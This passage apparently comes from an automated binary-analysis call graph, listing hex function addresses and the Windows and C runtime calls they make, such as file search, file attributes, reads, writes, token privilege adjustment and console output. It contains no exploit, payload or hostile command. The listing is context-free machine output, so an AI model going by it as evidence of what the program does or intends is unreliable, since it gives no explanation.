27420->27421 27422 6fb480 30 API calls 27421->27422 27422->27418 27424 6b2fbc 2 API calls 27423->27424 27425 6b3154 memmove memmove 27424->27425 27425->27306 27427 6b794c FindClose 27426->27427 27428 6b799b 27427->27428 27429 6b79b2 FindFirstFileW 27428->27429 27431 6b79c3 27428->27431 27434 6b7a13 27428->27434 27429->27431 27430 6b7a0d 27432 6b339c 4 API calls 27430->27432 27430->27434 27431->27430 27433 6b3208 2 API calls 27431->27433 27432->27434 27435 6b79d7 27433->27435 27434->27347 27436 6ba7ec 35 API calls 27435->27436 27437 6b79ec 27436->27437 27438 6b7a03 free 27437->27438 27439 6b79f0 FindFirstFileW 27437->27439 27438->27430 27439->27438 27440->27329 27441->27346 27442->27387 27443->27387 27444->27387 27446 6b7d64 27445->27446 27447 6b7d6b GetFileAttributesW 27446->27447 27448 6b7d79 27446->27448 27447->27448 27449 6b7dc5 27447->27449 27448->27449 27450 6b3208 2 API calls 27448->27450 27449->27332 27449->27342 27451 6b7d87 27450->27451 27452 6ba7ec 35 API calls 27451->27452 27453 6b7d9c 27452->27453 27454 6b7dbb free 27453->27454 27455 6b7da0 GetFileAttributesW free 27453->27455 27454->27449 27455->27449 27497 6bc858 27498 6bc870 27497->27498 27499 6bc865 27497->27499 27501 6bcdf4 27499->27501 27506 6bc704 27501->27506 27509 6fd4a0 VirtualFree 27506->27509 27508 6bc74e 27509->27508 27510 6bcb78 27515 6b8c38 27510->27515 27513 6bcba8 GetLastError 27514 6bcbb5 27513->27514 27516 6b8c54 27515->27516 27518 6b8c87 27516->27518 27519 6b8bf0 WriteFile 27516->27519 27518->27513 27518->27514 27519->27516 27520 6df13e 27522 6df144 27520->27522 27521 6b450c 3 API calls 27523 6df1cb 27521->27523 27522->27521 27524 6b3208 2 API calls 27523->27524 27525 6df1d6 27524->27525 27526 6df206 27525->27526 27527 6b339c 4 API calls 27525->27527 27528 6b2130 2 API calls 27526->27528 27529 6df248 27526->27529 27527->27526 27528->27529 27565 6fc7d4 27529->27565 27532 6dfacb 27533 6b2130 2 API calls 27532->27533 27558 6dfaf9 27532->27558 27533->27558 27535 6e0028 free free free free 27539 6e2d6b free 27535->27539 27536 6dfa6e free free free 27536->27539 27537 6dfa90 27564 6bc90c 3 API calls 27537->27564 27541 6e3702 27539->27541 27540 6dfaa2 27540->27532 27542 6dfaa9 free free free 27540->27542 27542->27539 27544 6e0034 free free free free 27544->27539 27545 6e005f free free free free 27545->27539 27546 6e008a free free free free 27546->27539 27548 6e00c9 free free free free 27548->27539 27551 6e010e free free free free 27551->27539 27553 6e0192 free free free free 27553->27539 27555 6e0213 free free free free 27555->27539 27556 6e01d4 free free free free 27556->27539 27558->27535 27558->27544 27558->27545 27558->27546 27558->27548 27558->27551 27558->27553 27558->27555 27558->27556 27559 6b3404 malloc _CxxThrowException free memmove 27558->27559 27561 6e014d free free free free 27558->27561 27578 6de0e8 27558->27578 27582 6db58c 6 API calls 27558->27582 27559->27558 27561->27539 27564->27540 27566 6fc7ea 27565->27566 27567 6df2c8 27565->27567 27568 6b2130 2 API calls 27566->27568 27567->27532 27572 6bc90c 27567->27572 27569 6fc7fe 27568->27569 27570 6fc81a free 27569->27570 27571 6fc807 memmove 27569->27571 27570->27567 27571->27570 27573 6bc920 27572->27573 27575 6bc932 27572->27575 27574 6b8a60 2 API calls 27573->27574 27573->27575 27576 6bc97c 27574->27576 27575->27536 27575->27537 27576->27575 27577 6bc995 GetLastError 27576->27577 27577->27575 27581 6de110 27578->27581 27579 6de120 27579->27558 27581->27579 27583 6e5988 22 API calls 27581->27583 27582->27558 27583->27579 27584 6c4418 27585 6c4458 27584->27585 27962 6dec5c 27585->27962 27588 6c4575 27591 6bae2c VariantClear 27588->27591 27589 6c4587 27590 6c45aa 27589->27590 27592 6c4596 27589->27592 27593 6bae2c VariantClear 27590->27593 27670 6c457f 27591->27670 27594 6bae2c VariantClear 27592->27594 27595 6c45c7 27593->27595 27594->27670 27596 6c4618 27595->27596 27597 6c4606 27595->27597 27599 6c4640 27596->27599 27600 6c4620 27596->27600 27598 6bae2c VariantClear 27597->27598 27598->27670 27601 6c463e 27599->27601 27602 6c4647 27599->27602 28026 6b34c0 malloc _CxxThrowException SysStringLen free 27600->28026 27605 6bae2c VariantClear 27601->27605 27604 6bae2c VariantClear 27602->27604 27604->27670 27606 6c4665 27605->27606 27607 6c46a4 27606->27607 27608 6c4692 27606->27608 27610 6c46cc 27607->27610 27611 6c46ac 27607->27611 27609 6bae2c VariantClear 27608->27609 27609->27670 27612 6c46ca 27610->27612 27613 6c46d3 27610->27613 28027 6b34c0 malloc _CxxThrowException SysStringLen free 27611->28027 27616 6bae2c VariantClear 27612->27616 27615 6bae2c VariantClear 27613->27615 27615->27670 27620 6c46f1 27616->27620 27617 6c49c6 27996 6db204 27617->27996 27623 6c4842 27620->27623 27625 6b3208 2 API calls 27620->27625 27620->27670 27621 6c48b8 27621->27617 28032 6b4d78 10 API calls 27621->28032 27623->27621 27633 6c4890 27623->27633 28030 6b3918 memmove 27623->28030 27624 6dc59c VariantClear 27640 6c4a03 27624->27640 27626 6c476e 27625->27626 27628 6b3208 2 API calls 27626->27628 27630 6c478a 27628->27630 27629 6c493f 27632 6c4954 27629->27632 28034 6c30dc free free memmove 27629->28034 27634 6b3208 2 API calls 27630->27634 27638 6d63cc 6 API calls 27632->27638 27633->27621 28031 6b3918 memmove 27633->28031 27642 6c4798 27634->27642 27635 6c48fd 27635->27629 27635->27632 28033 6b4338 CharUpperW CharUpperW wcscmp 27635->28033 27643 6c4963 27638->27643 27639 6c4a45 27641 6c4a65 27639->27641 27669 6c4aad 27639->27669 27639->27670 27640->27639 27640->27670 28035 6c4210 29 API calls 27640->28035 27661 6c4aa0 27641->27661 28036 6c30dc free free memmove 27641->28036 28028 6b92d4 malloc _CxxThrowException _CxxThrowException free 27642->28028 27646 6b3404 4 API calls 27643->27646 27647 6c4973 free 27646->27647 27652 6c4992 27647->27652 27648 6c4c6f 27662 6b2130 2 API calls 27648->27662 27675 6c4c82 27648->27675 27649 6c4db2 27664 6c4e2c 27649->27664 27665 6c4de2 27649->27665 27649->27670 27650 6c481d free free free 27650->27623 27651 6c47c5 27651->27650 28029 6b9444 malloc _CxxThrowException memmove memmove 27651->28029 27656 6c49c1 free 27652->27656 27660 6c49a9 free free 27652->27660 27653 6c4ae1 27653->27670 28038 6c30dc free free memmove 27653->28038 27656->27617 27657 6d63cc 6 API calls 27678 6c4cf7 27657->27678 27659 6c47e1 27663 6b3404 4 API calls 27659->27663 27660->27652 27661->27648 27661->27649 27662->27675 27667 6c47f1 free 27663->27667 27671 6c4e5d 27664->27671 27672 6c4e70 27664->27672 27668 6b2130 2 API calls 27665->27668 27666 6c4d65 free 27666->27670 27667->27650 27668->27670 27669->27653 27669->27670 28037 6b4338 CharUpperW CharUpperW wcscmp 27669->28037 27676 6bae2c VariantClear 27671->27676 27677 6c4e78 27672->27677 27680 6c65de 27672->27680 27675->27657 27676->27670 27682 6bae2c VariantClear 27677->27682 27678->27666 27679 6b362c 6 API calls 27678->27679 27679->27666 27681 6bae2c VariantClear 27680->27681 27681->27670 27683 6c4ea7 27682->27683 28000 6c1fcc 27683->28000 27686 6c1fcc VariantClear 27687 6c4f03 27686->27687 27687->27670 27688 6c1fcc VariantClear 27687->27688 27689 6c4f30 27688->27689 27689->27670 27690 6db204 VariantClear 27689->27690 27692 6c4f5e 27690->27692 27692->27670 27693 6c4fa7 27692->27693 28039 6d6484 20 API calls 27692->28039 27694 6c50ea 27693->27694 27695 6b3314 3 API calls 27693->27695 28004 6d63cc 27694->28004 27697 6c4fc5 27695->27697 28040 6d6154 malloc _CxxThrowException free 27697->28040 27699 6c5264 27702 6b3314 3 API calls 27699->27702 27700 6c4fd0 27703 6c4fe4 27700->27703 27704 6c5032 27700->27704 27701 6c513a 27701->27699 27709 6b3208 2 API calls 27701->27709 27706 6c5276 27702->27706 27707 6b2130 2 API calls 27703->27707 27719 6c5013 27704->27719 28041 6b4938 wcscmp 27704->28041 27723 6c52be 27706->27723 28043 6c1b60 7 API calls 27706->28043 27710 6c4fee 27707->27710 27708 6c5129 free free 27708->27701 27711 6c5153 27709->27711 27715 6c5003 27710->27715 27721 6b3208 2 API calls 27710->27721 28042 6c2b54 42 API calls 27711->28042 27714 6b362c 6 API calls 27720 6c50d8 free 27714->27720 27725 6bb8f0 4 API calls 27715->27725 27717 6c5043 27717->27719 27727 6b2130 2 API calls 27717->27727 27718 6c52a5 27724 6b3404 4 API calls 27718->27724 27719->27714 27720->27694 27721->27715 27722 6c5164 27726 6c525a free 27722->27726 27730 6b2130 2 API calls 27722->27730 27729 6c53ec 27723->27729 27733 6b3208 2 API calls 27723->27733 27728 6c52b3 free 27724->27728 27725->27719 27726->27699 27732 6c5052 27727->27732 27728->27723 27731 6c5400 27729->27731 27743 6c5461 27729->27743 27735 6c517b 27730->27735 27736 6b3404 4 API calls 27731->27736 27737 6c5067 27732->27737 27740 6b3208 2 API calls 27732->27740 27752 6c52e8 free 27733->27752 27734 6c5c23 27741 6b3404 4 API calls 27734->27741 27738 6c5194 27735->27738 27744 6b3208 2 API calls 27735->27744 27739 6c5411 27736->27739 27742 6bb8f0 4 API calls 27737->27742 27750 6bb8f0 4 API calls 27738->27750 27745 6c5427 27739->27745 28045 6b695c 39 API calls 27739->28045 27740->27737 27746 6c5c34 27741->27746 27742->27719 27743->27734 27747 6b3208 2 API calls 27743->27747 27744->27738 27745->27734 27749 6c5433 free free 27745->27749 27755 6b3208 2 API calls 27746->27755 27764 6c606d 27746->27764 27861 6c6557 free free 27746->27861 27753 6c5488 27747->27753 27749->27670 27778 6c51a8 27750->27778 27752->27729 27757 6c536b 27752->27757 27756 6b7ebc 90 API calls 27753->27756 27758 6c5c5b 27755->27758 27759 6c549b 27756->27759 27760 6b3404 4 API calls 27757->27760 27761 6c5c93 27758->27761 28063 6c1afc malloc _CxxThrowException memmove 27758->28063 27762 6c54a4 27759->27762 27780 6c5b62 27759->27780 27763 6c5387 27760->27763 27766 6b362c 6 API calls 27761->27766 27767 6c54ae 27762->27767 27768 6c54f3 27762->27768 27775 6b3314 3 API calls 27763->27775 27825 6c6197 27764->27825 27764->27861 28075 6c1924 VariantClear _CxxThrowException _CxxThrowException 27764->28075 27772 6c5ca7 27766->27772 27773 6c576f 27767->27773 27774 6c54b7 free free free 27767->27774 28046 6c18f8 malloc _CxxThrowException memmove 27768->28046 27770 6b2130 2 API calls 27795 6c625a 27770->27795 27771 6c5c77 27777 6b3404 4 API calls 27771->27777 28064 6c2c58 19 API calls 27772->28064 27784 6c577e 27773->27784 27785 6c5836 27773->27785 27774->27670 27783 6c53c7 27775->27783 27776 6c60c2 27786 6c60c9 free free 27776->27786 27815 6c60f8 27776->27815 27787 6c5c88 free 27777->27787 27782 6b3404 4 API calls 27778->27782 27779 6c5c16 free 27779->27734 27780->27779 27799 6b3314 3 API calls 27780->27799 27791 6c5251 27782->27791 28044 6d6154 malloc _CxxThrowException free 27783->28044 28047 6bc54c 94 API calls 27784->28047 27788 6c583f 27785->27788 27789 6c59e4 27785->27789 27786->27670 27787->27761 27798 6b3314 3 API calls 27788->27798 27796 6c5a9b 27789->27796 27797 6c59f6 27789->27797 27790 6c5cb4 27800 6c5d18 27790->27800 27801 6c5cb9 27790->27801 27791->27726 28020 6b9220 27795->28020 28055 6b8624 27796->28055 28053 6b695c 39 API calls 27797->28053 27807 6c584e 27798->27807 27840 6c5b9a 27799->27840 27809 6b3208 2 API calls 27800->27809 28065 6c2094 7 API calls 27801->28065 27802 6c5510 27810 6b318c 4 API calls 27802->27810 27803 6c53d2 27811 6b362c 6 API calls 27803->27811 27804 6c5788 27813 6c5826 27804->27813 27814 6c5791 27804->27814 28049 6bc54c 94 API calls 27807->28049 27820 6c5d22 27809->27820 27821 6c5526 free 27810->27821 27822 6c53e1 free 27811->27822 27813->27779 28048 6c2094 7 API calls 27814->28048 27815->27825 27834 6c619c 27815->27834 27835 6c618a 27815->27835 27817 6c5a00 27817->27779 27827 6c5a09 27817->27827 27819 6c5cd0 27829 6c5cdb free free free 27819->27829 27830 6c6060 free 27819->27830 27831 6c5d48 27820->27831 27841 6c5d32 27820->27841 27842 6c559e 27821->27842 27822->27729 27823 6c5aa5 27823->27779 27832 6c5aae 27823->27832 27825->27770 27825->27861 27826 6c62d2 28078 6c211c 13 API calls 27826->28078 28054 6c211c 13 API calls 27827->28054 27828 6c5859 27838 6c590d 27828->27838 27839 6c5862 27828->27839 27829->27670 27830->27764 28066 6ba8a0 24 API calls 27831->28066 28061 6b6d48 47 API calls 27832->28061 27833 6c57a5 27846 6c57ab free free free 27833->27846 27847 6c57e7 free free free 27833->27847 28076 6b6b2c 41 API calls 27834->28076 27848 6b3404 4 API calls 27835->27848 28051 6b6a04 41 API calls 27838->28051 28050 6c2094 7 API calls 27839->28050 27853 6b3208 2 API calls 27840->27853 27855 6b3404 4 API calls 27841->27855 27856 6c55ed 27842->27856 27857 6c55a5 free free free free 27842->27857 27845 6c6484 27860 6c64ee 27845->27860 27887 6b3314 3 API calls 27845->27887 27846->27670 27847->27670 27848->27825 27850 6c62e6 27863 6c62ec free free 27850->27863 27864 6c632a free free 27850->27864 27851 6c5a1d 27865 6c5a5f free free free 27851->27865 27866 6c5a23 free free free 27851->27866 27868 6c5bcb 27853->27868 27870 6c5d43 27855->27870 27872 6c5765 free 27856->27872 27885 6c56b4 27856->27885 27888 6c560c 27856->27888 27889 6c5714 free free free free 27856->27889 27857->27670 27858 6c5ab8 27858->27779 27871 6c5ac1 GetLastError 27858->27871 27859 6c5d61 27859->27870 28067 6c2094 7 API calls 27859->28067 27860->27861 27902 6c6518 free free 27860->27902 27861->27670 27862 6c61aa 27875 6c61af 27862->27875 27876 6c6228 27862->27876 27863->27670 27864->27670 27865->27670 27866->27670 27867 6c5876 27878 6c587c free free free free 27867->27878 27879 6c58c3 free free free free 27867->27879 27880 6b7ebc 90 API calls 27868->27880 27869 6c591c 27882 6c59d5 free 27869->27882 27883 6c5925 27869->27883 27874 6c6055 free 27870->27874 27894 6c5e66 27870->27894 27895 6c5de2 27870->27895 27871->27779 27884 6c5ad0 27871->27884 27872->27773 27873 6c6368 27873->27845 27893 6b8c98 3 API calls 27873->27893 27874->27830 28077 6c2204 7 API calls 27875->28077 27876->27825 27878->27670 27879->27670 27897 6c5bde 27880->27897 27882->27779 28052 6c2204 7 API calls 27883->28052 28062 6c211c 13 API calls 27884->28062 27885->27872 27890 6c64a6 27887->27890 27899 6c5614 27888->27899 27900 6c56c3 free free free free 27888->27900 27889->27670 28081 6c3210 6 API calls 27890->28081 27892 6c5d7d 27892->27870 27904 6c5d84 free free free free 27892->27904 27905 6c63b0 27893->27905 27894->27874 28070 6b94a4 malloc _CxxThrowException free memset 27894->28070 28068 6b6b2c 41 API calls 27895->28068 27908 6c5bfd free free 27897->27908 28009 6b68a0 27897->28009 27899->27885 27910 6c561c 27899->27910 27900->27670 27902->27670 27903 6c5ae4 27913 6c5aea free free free 27903->27913 27914 6c5b26 free free free 27903->27914 27904->27670 27915 6c6415 27905->27915 28079 6c211c 13 API calls 27905->28079 27907 6c61c6 27917 6c61cc free free 27907->27917 27918 6c61fa free free 27907->27918 27908->27779 27909 6c593e 27920 6c598b free free free free 27909->27920 27921 6c5944 free free free free 27909->27921 27922 6c566a free free free free 27910->27922 27923 6c5620 free free free free 27910->27923 27911 6c64bf 27924 6c64e4 free 27911->27924 27930 6b3404 4 API calls 27911->27930 27925 6c597b 27913->27925 27914->27925 28023 6b8adc 27915->28023 27916 6c5df1 27916->27874 28069 6c2204 7 API calls 27916->28069 27917->27925 27918->27925 27920->27925 27921->27925 27922->27670 27923->27670 27924->27860 27925->27670 27928 6c5e92 27934 6c604a free 27928->27934 27939 6b3208 2 API calls 27928->27939 27936 6c64e3 27930->27936 27931 6c63cf 27931->27915 27937 6c63d6 free free 27931->27937 27934->27874 27936->27924 27937->27670 27938 6c5e13 27938->27874 27941 6c5e1e free free free free 27938->27941 27943 6c5eb6 27939->27943 27941->27925 27945 6b3208 2 API calls 27943->27945 27944 6c643e 27944->27845 27946 6c6445 free free 27944->27946 27947 6c5ec4 27945->27947 27946->27670 28071 6b92d4 malloc _CxxThrowException _CxxThrowException free 27947->28071 27950 6c5eeb 27951 6c5ef4 27950->27951 27952 6c5f83 27950->27952 28072 6c2094 7 API calls 27951->28072 28073 6b9828 130 API calls 27952->28073 27955 6c5f9d 27957 6c602f free free 27955->27957 28074 6c211c 13 API calls 27955->28074 27956 6c5f0a 27956->27957 27958 6c5f15 7 API calls 27956->27958 27957->27934 27958->27670 27960 6c5fba 27960->27957 27961 6c5fc1 7 API calls 27960->27961 27961->27670 27965 6decd3 27962->27965 27968 6ded02 27962->27968 27963 6db204 VariantClear 27964 6ded27 27963->27964 27967 6c4540 27964->27967 28082 6ddfa4 14 API calls 27964->28082 27966 6deceb free free 27965->27966 27965->27968 27966->27965 27967->27588 27967->27589 27967->27670 27968->27963 27970 6ded47 27970->27967 27971 6b3404 4 API calls 27970->27971 27972 6ded5b 27971->27972 27973 6db204 VariantClear 27972->27973 27984 6ded7b 27972->27984 27973->27984 27974 6deebc 27979 6b339c 4 API calls 27974->27979 27980 6deefa 27974->27980 27975 6def2c 28085 6de954 19 API calls 27975->28085 27976 6deff6 28086 6b4d78 10 API calls 27976->28086 27979->27980 27980->27975 27980->27976 27981 6dee0f 27983 6bae2c VariantClear 27981->27983 27982 6dee32 27982->27981 27987 6dee55 27982->27987 28084 6ddfa4 14 API calls 27982->28084 27983->27967 27984->27967 27984->27974 27984->27981 27984->27982 28083 6b34c0 malloc _CxxThrowException SysStringLen free 27984->28083 27985 6def3e 27985->27967 27989 6b339c 4 API calls 27985->27989 27992 6def8f 27985->27992 27993 6bae2c VariantClear 27987->27993 27989->27992 27990 6defe0 free free 27990->27967 27991 6dee7a 27991->27981 27994 6db204 VariantClear 27991->27994 27992->27967 27992->27990 27993->27974 27995 6dee9b 27994->27995 27995->27981 27995->27987 27998 6db234 27996->27998 27997 6bae2c VariantClear 27999 6c49de 27997->27999 27998->27997 27999->27624 27999->27670 28001 6c2023 28000->28001 28002 6bae2c VariantClear 28001->28002 28003 6c206a 28002->28003 28003->27670 28003->27686 28005 6b3208 2 API calls 28004->28005 28007 6d63f5 28005->28007 28006 6c50fa 28006->27699 28006->27701 28006->27708 28007->28006 28008 6b362c 6 API calls 28007->28008 28008->28007 28010 6b68bb 28009->28010 28011 6b68c2 SetFileAttributesW 28010->28011 28012 6b68d5 28010->28012 28011->28012 28013 6b68d1 28011->28013 28012->28013 28014 6b3208 2 API calls 28012->28014 28013->27908 28015 6b68e3 28014->28015 28016 6ba7ec 35 API calls 28015->28016 28017 6b68f8 28016->28017 28018 6b691c free 28017->28018 28019 6b68fc SetFileAttributesW free 28017->28019 28018->28013 28019->28013 28021 6b8cdc 39 API calls 28020->28021 28022 6b9242 28021->28022 28022->27826 28022->27873 28024 6b8a60 2 API calls 28023->28024 28025 6b8aef 28024->28025 28025->27845 28080 6c211c 13 API calls 28025->28080 28028->27651 28029->27659 28030->27633 28031->27633 28032->27635 28033->27635 28034->27632 28035->27639 28036->27661 28037->27669 28038->27661 28039->27693 28040->27700 28041->27717 28042->27722 28043->27718 28044->27803 28045->27745 28046->27802 28047->27804 28048->27833 28049->27828 28050->27867 28051->27869 28052->27909 28053->27817 28054->27851 28056 6b3208 2 API calls 28055->28056 28057 6b8683 28056->28057 28058 6b7ebc 90 API calls 28057->28058 28059 6b8691 free 28058->28059 28059->27823 28061->27858 28062->27903 28063->27771 28064->27790 28065->27819 28066->27859 28067->27892 28068->27916 28069->27938 28070->27928 28071->27950 28072->27956 28073->27955 28074->27960 28075->27776 28076->27862 28077->27907 28078->27850 28079->27931 28080->27944 28081->27911 28082->27970 28084->27991 28085->27985 28086->27967 28087 6be8fc 28088 6be95b 28087->28088 28089 6be91f 28087->28089 28089->28088 28091 6bce1c 28089->28091 28099 6bce3c 28091->28099 28092 6bcfdc 28093 6bd020 GetLastError 28092->28093 28095 6bce69 28092->28095 28093->28095 28094 6bcf96 28094->28095 28096 6bcfa2 memmove 28094->28096 28095->28089 28096->28095 28097 6bcf63 28097->28092 28101 6b8a60 2 API calls 28097->28101 28098 6b8a60 2 API calls 28098->28099 28099->28092 28099->28094 28099->28095 28099->28097 28099->28098 28100 6bcf1e 28099->28100 28102 6bcf85 GetLastError 28099->28102 28107 6b8af4 ReadFile 28099->28107 28100->28099 28106 6bd019 28100->28106 28108 6fd480 VirtualAlloc 28100->28108 28105 6bcf81 28101->28105 28102->28095 28105->28092 28105->28102 28106->28095 28107->28099 28108->28100 28109 6bf71c 28144 6b1610 28109->28144 28112 6bf774 _isatty _isatty _isatty 28118 6bf7c4 28112->28118 28114 6bf762 _CxxThrowException 28114->28112 28115 6bf89f 28159 6bac74 GetCurrentProcess OpenProcessToken 28115->28159 28118->28115 28166 6d02a0 6 API calls 28118->28166 28119 6bac74 6 API calls 28121 6bf936 28119->28121 28123 6bf9dd 28121->28123 28124 6bf95e 28121->28124 28125 6bf965 wcscmp 28121->28125 28122 6bf8d4 _CxxThrowException 28122->28115 28126 6bfa94 28123->28126 28128 6b2bc8 2 API calls 28123->28128 28168 6bad0c GetModuleHandleW GetProcAddress 28124->28168 28125->28124 28127 6bf979 28125->28127 28127->28124 28132 6bf98e 28127->28132 28130 6bfa0a 28128->28130 28170 6b2d34 malloc _CxxThrowException free 28130->28170 28131 6bf9c0 28131->28123 28169 6fd4c0 GetModuleHandleW GetProcAddress 28131->28169 28167 6d02a0 6 API calls 28132->28167 28135 6bfa18 28143 6bfa75 GetCurrentProcess SetProcessAffinityMask free 28135->28143 28171 6d02a0 6 API calls 28135->28171 28137 6bf9a2 _CxxThrowException 28137->28124 28138 6bf9c9 28140 6bac74 6 API calls 28138->28140 28141 6bf9d7 28140->28141 28141->28123 28142 6bfa63 _CxxThrowException 28142->28143 28143->28126 28145 6b1693 28144->28145 28146 6b1667 28144->28146 28147 6b16c9 28145->28147 28150 6b16c1 free 28145->28150 28146->28145 28149 6b167f free free 28146->28149 28148 6b2130 2 API calls 28147->28148 28153 6b16e1 28148->28153 28149->28146 28150->28147 28151 6b17bd 28151->28112 28165 6d02a0 6 API calls 28151->28165 28152 6b2130 2 API calls 28152->28153 28153->28151 28153->28152 28154 6b3314 3 API calls 28153->28154 28155 6bb8f0 4 API calls 28153->28155 28157 6b17bf 28153->28157 28172 6b1364 8 API calls 28153->28172 28154->28153 28155->28153 28158 6b3404 4 API calls 28157->28158 28158->28151 28160 6bac9f LookupPrivilegeValueW 28159->28160 28161 6bad00 28159->28161 28162 6bacb3 AdjustTokenPrivileges 28160->28162 28163 6bacf5 CloseHandle 28160->28163 28161->28119 28162->28163 28164 6bacea GetLastError 28162->28164 28163->28161 28164->28163 28165->28114 28166->28122 28167->28137 28168->28131 28169->28138 28170->28135 28171->28142 28172->28153 28173 6f8817 28174 6f882c 28173->28174 28175 6f881c fputs 28173->28175 28319 6c0dcc 28174->28319 28175->28174 28177 6f8841 28178 6f8878 GetStdHandle GetConsoleScreenBufferInfo 28177->28178 28179 6f8899 28177->28179 28178->28179 28180 6b2130 2 API calls 28179->28180 28181 6f88ac 28180->28181 28429 6f7c40 28181->28429 28185 6f89a2 28186 6f89a7 _CxxThrowException 28185->28186 28193 6f89c3 28185->28193 28186->28193 28187 6f8a78 28473 6e4c2c 28187->28473 28189 6f8a54 _CxxThrowException 28189->28187 28192 6f8aad _CxxThrowException 28210 6f8ad1 28192->28210 28193->28187 28193->28189 28494 6b32bc 28193->28494 28194 6f8a18 28195 6b362c 6 API calls 28194->28195 28199 6f8a2a 28195->28199 28197 6f8bb3 28201 6f8c21 28197->28201 28500 6bbf04 22 API calls 28197->28500 28203 6b3314 3 API calls 28199->28203 28200 6f8bb8 _CxxThrowException 28200->28197 28486 6b2300 fputc 28201->28486 28202 6f8c00 28202->28201 28204 6f8c05 _CxxThrowException 28202->28204 28205 6f8a3f _CxxThrowException 28203->28205 28204->28201 28205->28189 28208 6f8c58 fputs 28487 6b2300 fputc 28208->28487 28209 6f8b98 free 28209->28197 28209->28210 28210->28197 28210->28200 28210->28209 28498 6d9644 11 API calls 28210->28498 28499 6be9c8 malloc _CxxThrowException memmove free memmove 28210->28499 28212 6f8cbc 28488 6b2300 fputc 28212->28488 28214 6f8cc4 fputs 28489 6b2300 fputc 28214->28489 28219 6f8cdc strlen 28221 6f8d08 28219->28221 28222 6f902b 28219->28222 28220 6f8c70 28220->28212 28501 6f640c fputc fputs fputs fputc 28220->28501 28502 6b2300 fputc 28220->28502 28503 6f640c fputc fputs fputs fputc 28221->28503 28490 6b2300 fputc 28222->28490 28225 6f903b fputs 28491 6b2300 fputc 28225->28491 28233 6f906d fputs fputc 28236 6f9053 28233->28236 28237 6f9096 fputc 28233->28237 28236->28233 28275 6f914d 28236->28275 28504 6b2670 fputs 28236->28504 28241 6f90ae fputc fputc fputc 28237->28241 28240 6f92ab 28492 6b2300 fputc 28240->28492 28243 6f9100 28241->28243 28505 6f63b8 fputc fputs 28243->28505 28245 6f92b3 fputs 28493 6b2300 fputc 28245->28493 28255 6f92e2 fputs fputc 28259 6f92cb 28255->28259 28259->28255 28295 6f9395 28259->28295 28513 6f63b8 fputc fputs 28259->28513 28263 6f9489 28268 6fa5c5 28263->28268 28272 6fa5c0 28263->28272 28264 6f91a2 fputc 28264->28275 28273 6fa5ca _CxxThrowException 28268->28273 28274 6fa5e7 free 28268->28274 28517 6f66a8 30 API calls 28272->28517 28273->28274 28280 6fa626 free 28274->28280 28281 6fa605 28274->28281 28275->28240 28275->28264 28282 6f91c4 fputc 28275->28282 28290 6f91e4 fputc fputc 28275->28290 28506 6f640c fputc fputs fputs fputc 28275->28506 28507 6d89f0 VariantClear 28275->28507 28508 6b2670 fputs 28275->28508 28288 6fa63c 28280->28288 28287 6fa609 free 28281->28287 28282->28275 28287->28280 28287->28287 28518 6f7080 6 API calls 28288->28518 28509 6d8a78 VariantClear 28290->28509 28295->28263 28514 6f640c fputc fputs fputs fputc 28295->28514 28515 6d8d38 VariantClear 28295->28515 28516 6f63b8 fputc fputs 28295->28516 28296 6fa64a 28519 6b182c free free free free free 28296->28519 28305 6f9218 28510 6f63b8 fputc fputs 28305->28510 28511 6d8b00 malloc _CxxThrowException free VariantClear 28305->28511 28308 6f926c fputc fputs 28512 6b2300 fputc 28308->28512 28312 6f928f free 28312->28240 28312->28275 28320 6c0e1b 28319->28320 28321 6c0df5 28319->28321 28323 6b3314 3 API calls 28320->28323 28583 6d02a0 6 API calls 28321->28583 28325 6c0e2c 28323->28325 28324 6c0e09 _CxxThrowException 28324->28320 28326 6c0e4e free 28325->28326 28329 6c0e98 free 28325->28329 28584 6d02a0 6 API calls 28326->28584 28328 6c0e6e _CxxThrowException 28328->28325 28331 6c0ede 28329->28331 28332 6c0ece 28329->28332 28334 6c0f29 wcscmp 28331->28334 28336 6c0f3e 28331->28336 28333 6b4b58 7 API calls 28332->28333 28333->28331 28335 6c0f7b 28334->28335 28334->28336 28585 6d02a0 6 API calls 28335->28585 28520 6bfadc 28336->28520 28339 6c0f8f _CxxThrowException 28339->28336 28341 6bfadc 10 API calls 28342 6c0fee 28341->28342 28343 6c102d 28342->28343 28586 6c0358 189 API calls 28342->28586 28347 6c105c 28343->28347 28587 6c0358 189 API calls 28343->28587 28346 6c1177 28530 6c0160 28346->28530 28347->28346 28348 6c1130 28347->28348 28588 6d02a0 6 API calls 28347->28588 28351 6b3404 4 API calls 28348->28351 28354 6c1141 28351->28354 28353 6c111e _CxxThrowException 28353->28348 28354->28346 28589 6d02a0 6 API calls 28354->28589 28355 6c11f1 28357 6c121e 28355->28357 28358 6b3404 4 API calls 28355->28358 28356 6b3404 4 API calls 28356->28355 28547 6b4b58 28357->28547 28358->28357 28362 6c1165 _CxxThrowException 28362->28346 28365 6c1871 28366 6c18cf 28365->28366 28367 6c1876 28365->28367 28375 6c18d8 _CxxThrowException 28366->28375 28389 6c14fb 28366->28389 28372 6b63d0 57 API calls 28367->28372 28368 6c12d9 28569 6b63d0 28368->28569 28369 6c15e9 28596 6c0998 72 API calls 28369->28596 28370 6c159a 28370->28369 28376 6c1807 28370->28376 28595 6d02a0 6 API calls 28370->28595 28378 6c1882 28372->28378 28376->28365 28376->28389 28614 6d02a0 6 API calls 28376->28614 28377 6c15d7 _CxxThrowException 28377->28369 28381 6b6360 15 API calls 28378->28381 28379 6c15f8 28597 6bef70 28379->28597 28384 6c188b 28381->28384 28388 6b4b58 7 API calls 28384->28388 28387 6c185f _CxxThrowException 28387->28365 28388->28389 28389->28177 28390 6c13b2 28395 6c13ed 28390->28395 28591 6c0358 189 API calls 28390->28591 28392 6c16c8 28397 6c17a8 28392->28397 28406 6c1736 28392->28406 28610 6d02a0 6 API calls 28392->28610 28394 6c13a0 _CxxThrowException 28394->28390 28396 6c141f 28395->28396 28592 6c0358 189 API calls 28395->28592 28401 6c143e 28396->28401 28593 6b5164 6 API calls 28396->28593 28402 6b3404 4 API calls 28397->28402 28404 6c17ca 28397->28404 28398 6b3404 4 API calls 28408 6c169d 28398->28408 28407 6b63d0 57 API calls 28401->28407 28402->28404 28404->28389 28613 6d02a0 6 API calls 28404->28613 28406->28397 28410 6c1767 28406->28410 28611 6d02a0 6 API calls 28406->28611 28411 6c144c 28407->28411 28408->28392 28609 6b3890 memmove 28408->28609 28409 6c1724 _CxxThrowException 28409->28406 28410->28397 28612 6d02a0 6 API calls 28410->28612 28579 6d408c 28411->28579 28416 6c17f5 _CxxThrowException 28416->28376 28417 6c1755 _CxxThrowException 28417->28410 28420 6c1796 _CxxThrowException 